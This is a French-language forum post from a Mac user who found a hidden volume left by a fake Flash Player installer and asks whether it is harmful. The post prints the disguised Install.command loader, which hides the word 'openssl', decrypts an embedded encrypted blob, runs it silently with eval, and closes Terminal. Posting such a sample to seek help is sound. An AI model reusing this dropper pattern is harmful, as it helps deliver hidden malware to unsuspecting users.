openssl - Script malveillant ?
Je viens de trouver sur mon mac un volume "/Volumes/Install" probablement monté par l'installeur de Adobe Flash Player (que je viens de lancer), dont le contenu m'interpelle:
Code:
1 2 3 4 5 6 7 8
| $ ls -laF /Volumes/Install
total 96
drwxr-xr-x 6 jack staff 272 3 mai 15:55 ./
drwxr-xr-x 5 root wheel 160 29 jul 12:10 ../
-rw-r--r-- 1 jack staff 16388 3 mai 15:55 .DS_Store
drwxr-xr-x 4 jack staff 136 3 mai 15:54 .hidden/
-rw-r--r-- 1 jack staff 24065 3 mai 15:55 .sjQZT31xHE.png
lrwxr-xr-x 1 jack staff 23 3 mai 15:55 Install@ -> .hidden/Install.command |
Code:
1 2 3 4 5 6 7 8 9
| $ ls -laF /Volumes/Install/.hidden:
total 720
drwxr-xr-x 4 jack staff 136 3 mai 15:54 ./
drwxr-xr-x 6 jack staff 272 3 mai 15:55 ../
-rw-r--r-- 1 jack staff 202776 3 mai 15:54 2P1zsqQ
-rwxrwxrwx@ 1 jack staff 896 3 mai 15:54 Install.command*
$ file /Volumes/Install/.hidden/2P1zsqQ
/Volumes/Install/.hidden/2P1zsqQ: openssl enc'd data with salted password, base64 encoded |
Le contenu du script est "encrypté" (avec un très très très faible niveau d'encryption!):
Code:
1 2 3 4 5 6 7 8 9 10
| #!/bin/bash
A="a";C="c";D="d";E="e";L="l";M="m";N="n";O="o";P="p";S="s";
export appDir=$(cd "$(dirname "$0")"; pwd -P)
export tmpDir="$(mktemp -d /tmp/XXXXXXXXXXXX)"
export binFile="$(cd "$appDir"; ls | grep -Ev '\.(command)$' | head -n 1 | rev)"
export archive="$(echo $binFile | rev)"
export commandArgs='U2FsdGVkX19PirpiUvZVXJURbVDsu4fckJoMWR7UHtP5ORyLB+dz/Kl5hJixSJLItUpkynZbcVxd98nfHH3xJwRWWkgAPynQTGNsqO2MKLHIGjQrJIsibmDRd13M8tvC14MkiKVa9SJAewH/NkHjfSMw0Ml5VbfJ7VMepYBlG5XfxqJ+wAdjfU+LiQqNEcrHKJr+Zoe33HEaCL3SWtYFSwOvUy9m8nUasOujyTPoMtNZhccr7ZRcjOyH9D6s2MHxK9UREQ8hHVugcmcEqDzJag8KWPFTKA+9YWp++/WzSQnFsHb9mT4HXqWdHfnW+3h9'
decryptedCommand="$(echo -e "$commandArgs" | ${O}${P}${E}${N}${S}${S}${L} ${E}${N}${C} -${A}${E}${S}-256-cbc -${D} -A -b${A}${S}${E}64 -${P}${A}${S}${S} "${P}${A}${S}${S}:$archive")"
nohup /bin/bash -c "eval \"$decryptedCommand\"" >/dev/null 2>&1 &
killall Terminal |
Je ne connais pas du tout openssl...
Lorsque je remplace les 2 dernières lignes par echo "$decryptedCommand", voici ce que j'obtiens:
Code:
1 2 3 4 5 6 7
| $ ./Install-jack.command
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
bad decrypt
4610055616:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:crypto/evp/evp_enc.c:583:
?bb_C"є?X?a5N?Q??;???[????u7??Љ???7^????k ?X??6t??yB?7?ٴե?*R?6A??????i5?N???Ag~68X??Dq
[+ quelques lignes du même acabit] |
Par contre, en commentant simplement les 2 dernières lignes, une popup s'affiche avec le message:
Citation:
« Install-jack.command » endommagera votre ordinateur. Vous devriez placer cet élément dans la Corbeille.
Firefox a téléchargé ce fichier le 5 mai 2020 depuis soft4update.thesaferplayerfinal.info.
Prévenir Apple.
Est-ce grave, docteurs?